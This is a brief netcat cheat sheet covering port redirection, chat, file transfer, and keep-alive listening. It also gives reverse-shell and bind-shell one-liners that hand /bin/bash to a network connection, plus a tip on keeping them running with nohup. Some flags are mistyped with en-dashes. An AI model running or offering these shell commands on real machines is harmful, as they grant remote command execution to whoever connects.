NetCat
Redirect ports.
This one redirect port 24 to port 22.
24 stream tcp nowait nobody /usr/sbin/tcpd /bin/nc 192.168.1.1 22
This one redirects port 6000(x11) to port 25
x11 stream tcp nowait root /usr/local/bin/nc nc -n -w 3 127.0.0.1 25
Start a chat
host computer - 10.0.0.1
nc -l 8001
remote computer - 10.0.0.2
nc 10.0.0.1 8001
and then start typing
Send a file
This will send a file to another computer on the same network
hosted file computer - 10.0.0.1
cat file.doc | nc 10.0.0.2 8001
remote file to receive the file
nc -l 8001 > file.doc
Reverse Shell
This create a shell for a client to use.
hosted computer to get the shell from
nc 127.0.0.1 1234 –e /bin/bash
remote computer to use the shell
nc -l -p 1234
Shell Listener
This creates a listener shell, at which point any client can connect to and use the shell.
The host computer with the shell to access.
nc –l –p 1234 –e /bin/bash
Connect to the host computer with the following command.
nc 127.0.0.1 1234
Side note: You can create a simple script and run this with nohup in the background to insure this continues running.
nohup ./script.sh &
You can also pipe all commands into bash
nc -l 1234 | /bin/bash
Keep Listening
Continue listening after a connection is closed use the -k option.
nc -k -l 1234